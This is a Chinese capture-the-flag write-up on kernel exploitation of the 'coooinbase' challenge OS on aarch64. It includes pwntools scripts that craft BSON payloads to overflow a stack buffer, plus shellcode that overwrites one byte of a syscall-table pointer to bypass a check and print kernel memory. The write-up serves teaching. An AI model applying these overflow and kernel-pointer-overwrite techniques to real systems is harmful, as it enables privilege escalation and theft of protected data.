本篇文章是coooinbase这道题的内核态利用。作为上一篇文章PWN掉一款小型开源OS——用户态利用
的续篇,本文将解决上文遗留下的一些问题,并分析从userland到kerneland的利用机会。
遗留下的问题
from pwn import *
import bson
context.arch = 'aarch64'
obj = {
'CVC':111,
'MON':1,
'YR': 2021
}
bs = bson.dumps(obj)
bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x60)
bs += b'\x00'
bs += b'\x00'
print(b64e(bs)+' ')
若按照上一篇文章的bson结构去构造payload,即'CVC':111
,当payload大于一定长度时会导致不能到达以下分支,没法触发漏洞
原因是copy_payload
的返回值不为0
让copy_payload
执行到这个分支即可返回0,经过测试'CVC':545
能通过check
按以下方法构造bson序列,便能发送长字符串,并触发栈溢出
from pwn import *
import bson
context.arch = 'aarch64'
obj = {
'CVC':545,
'MON':1,
'YR': 2021
}
bs = bson.dumps(obj)
bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x60)
bs += b'\x00'
bs += b'\x00'
print(b64e(bs)+' ')
源码审计
内核源码可以从此处下载
下面重点来审系统调用,include/syscall.h
实现了以下一些系统调用
sys_read
和sys_write
的实现,并未对传入的buf
地址指针做检查,也就是可以call sys_read
、sys_write
在内核空间任意读写
在init/init_task.c
处调用户态进程
通过call sys_execv
系统调用分配进程资源,并装载用户态进程
静态分析
接下来用IDA打开coooinbase.bin,Processor type选ARM Little-endian
,kernel装载基址为0xffff000000080000
查找字符串能看到flag所在的内核地址0xFFFF000000088858
对照源码,在内核程序中应当有一个系统调用表
在0xFFFF000000087140
地址处找到了这个系统调用表
sys_read
调用,与源码没啥区别,可以对任意内核地址写入数据
在sys_write
调用,出题人加入了check,会检查addr <= 0xffff
,只能打印出用户空间的内存信息
Debug
0xFFFF000000082A60
之后就是通过check后代码
如能将系统调用表中指向sys_write
的指针覆盖成0xFFFF000000082A60
则能绕过check,而且这仅需要写1个byte
后续利用过程:
1.调sys_open打开/run
这个文件,在这个文件里找到一个\x60
byte对应的偏移
2.通过偏移sys_lseek到该处
3.调sys_read将该处的\x60
写入到0xFFFF000000087140
覆盖sys_write ptr的最后1 byte
4.调sys_write将内核地址中的flag打印出来
打开/run
文件
/run
是我们的用户态进程,装载到0x0
的地址上,在offset = 0x3a2
处找到了\x60
byte。lseek到该处,将文件指针指向这个位置。
内核里关于sys_lseek实现的部分源码,whence
需要设置成0
,令fd指向一个绝对文件地址,也就是调sys_lseek(fd, 0x3a2, 0)
//syscall.c:64~74
int sys_lseek(int fd, int offset, int whence)
{
struct file *filp;
if( (fd>=NR_OPEN) || (fd<0))
return -1;
filp = current->filp[fd];
if(filp==NULL)
return -1;
return file_lseek(filp, offset, whence);
}
//fs.c:363~387
int file_lseek(struct file *filp, int offset, int whence)
{
int pos = (int)filp->f_pos;
switch(whence){
case SEEK_SET:
pos = offset;
break;
case SEEK_CUR:
pos += offset;
break;
case SEEK_END:
pos = filp->f_inode->i_size;
pos += offset;
break;
default:
break;
}
if( (pos<0) || (pos>filp->f_inode->i_size) )
return -1;
filp->f_pos = (unsigned long)pos;
return pos;
}
//fs.h:45~56
#define I_NEW (8)
#define SEEK_SET (0)
#define SEEK_CUR (1)
#define SEEK_END (2)
struct file{
struct inode *f_inode;
unsigned long f_count;
int f_flags;
unsigned long f_pos;
};
调sys_read(fd, 0xffff000000087140, 1)
之后,系统调用表中的sys_write ptr
便被写为0xffff000000082a60
再调用sys_write
便能绕过addr <= 0xffff
的check,打印出flag
Script
完整EXP
from pwn import *
import bson
context.arch = 'aarch64'
obj = {
'CVC': 545,
'MON': 1,
'YR': 2021
}
bs = bson.dumps(obj)
bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'B'*(0x18)
bs += p64(0xfc46)#ret addr
shellcode = '''ldr x0,=0x6e75722f // /run
mov x1, 0x0
stp x0, x1, [sp]
mov x0, sp
mov x5, 0x340 // SYS_open
blr x5
mov x4, x0 // save file descriptior
mov x1, 0x3a2 // offset of 0x60 in order to change SYS_write to after check
mov x2, 0x0
mov x5, 0x364 // SYS_lseek
blr x5
mov x0, x4 // move saved file desc
ldr x1, =0xffff000000087140 // syscall handler for write
mov x2, 0x1 // count
mov x5, 0x34c // SYS_read
blr x5
ldr x0, =0xffff000000088858 // addr of the flag
mov x2, 0x36 // count
mov x5, 0x310 // SYS_write
blr x5'''
payload = asm(shellcode)
bs += payload + b'\x00'
bs += b'\x00'
#print(hexdump(bs))
print(b64e(bs)+' ')
发表评论
您还未登录,请先登录。
登录